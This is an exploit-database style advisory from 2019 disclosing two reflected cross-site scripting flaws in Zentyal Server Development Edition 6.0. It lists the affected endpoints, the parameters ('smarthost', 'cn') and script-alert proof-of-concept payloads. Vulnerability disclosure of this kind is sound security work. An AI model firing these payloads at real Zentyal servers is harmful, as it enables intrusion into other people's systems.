Zentyal Server Development Edition version 6.0 suffers from a cross site scripting vulnerability.
526a723508e759405a73527445e0c94a##################################################################################################################################
# Exploit Title: Zentyal Server Development Edition 6.0 | Cross-Site
Scripting
# Date: 27.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: http://www.zentyal.org
# Software Link:
http://download.zentyal.com/zentyal-6.0-development-amd64.iso
# Version: 6.0
##################################################################################################################################
Introduction
Zentyal Server (formerly eBox Platform) is a commercial unified network
server that offers easy and efficient computer network administration for
small and medium-size businesses. It can act as a gateway, an
infrastructure manager, a unified threat manager, an office server, a
unified communication server or a combination of them. These
functionalities are tightly integrated, automating most tasks, avoiding
mistakes and saving time for system administrators. Zentyal is released
under the GNU General Public License (GPL) and runs on top of Ubuntu.
#################################################################################
XSS details
#################################################################################
XSS1 | Reflected
URL
https://192.168.2.200:8443/Mail/Controller/SMTPOptions
METHOD
Post
PARAMETER
smarthost
PAYLOAD
<script>alert(1)</script>
#################################################################################
XSS2 | Reflected
URL
https://192.168.2.200:8443/CA/Controller/Certificates
METHOD
Post
PARAMETER
cn
PAYLOAD
<script>alert(2)</script>
#################################################################################